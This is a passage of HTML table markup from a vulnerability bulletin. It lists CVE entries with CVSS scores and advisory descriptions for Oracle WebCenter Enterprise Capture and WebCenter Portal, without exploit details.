&lt;td&gt;Vulnerability in the Oracle WebCenter Enterprise Capture product of Oracle Fusion Middleware (component: Client Bundle). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle WebCenter Enterprise Capture. While the vulnerability is in Oracle WebCenter Enterprise Capture, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Enterprise Capture. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83006&quot; target=&quot;_blank&quot;&gt;CVE-2026-83006&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Enterprise Capture&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Enterprise Capture product of Oracle Fusion Middleware (component: Client Bundle). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Enterprise Capture. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Enterprise Capture. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83339&quot; target=&quot;_blank&quot;&gt;CVE-2026-83339&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Enterprise Capture&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Enterprise Capture product of Oracle Fusion Middleware (component: Client Bundle). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via SOAP to compromise Oracle WebCenter Enterprise Capture. While the vulnerability is in Oracle WebCenter Enterprise Capture, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Enterprise Capture accessible data as well as unauthorized update, insert or delete access to some of Oracle WebCenter Enterprise Capture accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83003&quot; target=&quot;_blank&quot;&gt;CVE-2026-83003&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Enterprise Capture&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Enterprise Capture product of Oracle Fusion Middleware (component: Client Bundle). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Enterprise Capture. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Enterprise Capture. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83005&quot; target=&quot;_blank&quot;&gt;CVE-2026-83005&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Enterprise Capture&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Enterprise Capture product of Oracle Fusion Middleware (component: Client Bundle). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Enterprise Capture. While the vulnerability is in Oracle WebCenter Enterprise Capture, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Enterprise Capture accessible data as well as unauthorized update, insert or delete access to some of Oracle WebCenter Enterprise Capture accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83007&quot; target=&quot;_blank&quot;&gt;CVE-2026-83007&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Enterprise Capture&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Enterprise Capture product of Oracle Fusion Middleware (component: Client Bundle). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Oracle WebCenter Enterprise Capture. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Enterprise Capture. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83008&quot; target=&quot;_blank&quot;&gt;CVE-2026-83008&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Enterprise Capture&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Enterprise Capture product of Oracle Fusion Middleware (component: Client Bundle). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Enterprise Capture. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Enterprise Capture. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83009&quot; target=&quot;_blank&quot;&gt;CVE-2026-83009&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Enterprise Capture&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Enterprise Capture product of Oracle Fusion Middleware (component: Client Bundle). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle WebCenter Enterprise Capture. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle WebCenter Enterprise Capture, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle WebCenter Enterprise Capture accessible data as well as unauthorized access to critical data or complete access to all Oracle WebCenter Enterprise Capture accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83010&quot; target=&quot;_blank&quot;&gt;CVE-2026-83010&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Enterprise Capture&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Enterprise Capture product of Oracle Fusion Middleware (component: Client Bundle). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Enterprise Capture. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Enterprise Capture. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83013&quot; target=&quot;_blank&quot;&gt;CVE-2026-83013&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Enterprise Capture&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Enterprise Capture product of Oracle Fusion Middleware (component: Client Bundle). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle WebCenter Enterprise Capture executes to compromise Oracle WebCenter Enterprise Capture. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle WebCenter Enterprise Capture, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle WebCenter Enterprise Capture accessible data as well as unauthorized access to critical data or complete access to all Oracle WebCenter Enterprise Capture accessible data. CVSS 3.1 Base Score 7.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83004&quot; target=&quot;_blank&quot;&gt;CVE-2026-83004&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Enterprise Capture&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Enterprise Capture product of Oracle Fusion Middleware (component: Client Bundle). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Enterprise Capture. While the vulnerability is in Oracle WebCenter Enterprise Capture, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Enterprise Capture accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83012&quot; target=&quot;_blank&quot;&gt;CVE-2026-83012&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Enterprise Capture&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Enterprise Capture product of Oracle Fusion Middleware (component: Client Bundle). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle WebCenter Enterprise Capture executes to compromise Oracle WebCenter Enterprise Capture. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle WebCenter Enterprise Capture, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Enterprise Capture. CVSS 3.1 Base Score 7.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83022&quot; target=&quot;_blank&quot;&gt;CVE-2026-83022&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Composer). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Portal. While the vulnerability is in Oracle WebCenter Portal, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Portal. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73948&quot; target=&quot;_blank&quot;&gt;CVE-2026-73948&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Portlet Services). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Portal. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle WebCenter Portal accessible data as well as unauthorized access to critical data or complete access to all Oracle WebCenter Portal accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73952&quot; target=&quot;_blank&quot;&gt;CVE-2026-73952&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Portlet Services). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Portal. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Portal. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73953&quot; target=&quot;_blank&quot;&gt;CVE-2026-73953&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Composer). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Portal. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Portal. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73956&quot; target=&quot;_blank&quot;&gt;CVE-2026-73956&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Portlet Services). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Portal. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle WebCenter Portal, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle WebCenter Portal accessible data as well as unauthorized access to critical data or complete access to all Oracle WebCenter Portal accessible data. CVSS 3.1 Base Score 9.3 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73957&quot; target=&quot;_blank&quot;&gt;CVE-2026-73957&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Portlet Services). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Portal. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Portal. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73963&quot; target=&quot;_blank&quot;&gt;CVE-2026-73963&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Composer). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Portal. While the vulnerability is in Oracle WebCenter Portal, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Portal. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83039&quot; target=&quot;_blank&quot;&gt;CVE-2026-83039&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Portlet Services). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via SOAP to compromise Oracle WebCenter Portal. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle WebCenter Portal, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Portal. CVSS 3.1 Base Score 9.6 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83040&quot; target=&quot;_blank&quot;&gt;CVE-2026-83040&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Composer). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Portal. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle WebCenter Portal, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Portal. CVSS 3.1 Base Score 9.6 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83043&quot; target=&quot;_blank&quot;&gt;CVE-2026-83043&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Runtime Tools). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle WebCenter Portal. While the vulnerability is in Oracle WebCenter Portal, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Portal. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83064&quot; target=&quot;_blank&quot;&gt;CVE-2026-83064&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Portlet Services). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Portal. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Portal. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73949&quot; target=&quot;_blank&quot;&gt;CVE-2026-73949&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Portlet Services). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Portal. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Portal. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73951&quot; target=&quot;_blank&quot;&gt;CVE-2026-73951&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Composer). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Portal. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Portal. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73959&quot; target=&quot;_blank&quot;&gt;CVE-2026-73959&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Runtime Tools). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Portal. While the vulnerability is in Oracle WebCenter Portal, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Portal accessible data as well as unauthorized update, insert or delete access to some of Oracle WebCenter Portal accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83045&quot; target=&quot;_blank&quot;&gt;CVE-2026-83045&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Runtime Tools). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Portal. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Portal accessible data as well as unauthorized update, insert or delete access to some of Oracle WebCenter Portal accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83047&quot; target=&quot;_blank&quot;&gt;CVE-2026-83047&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
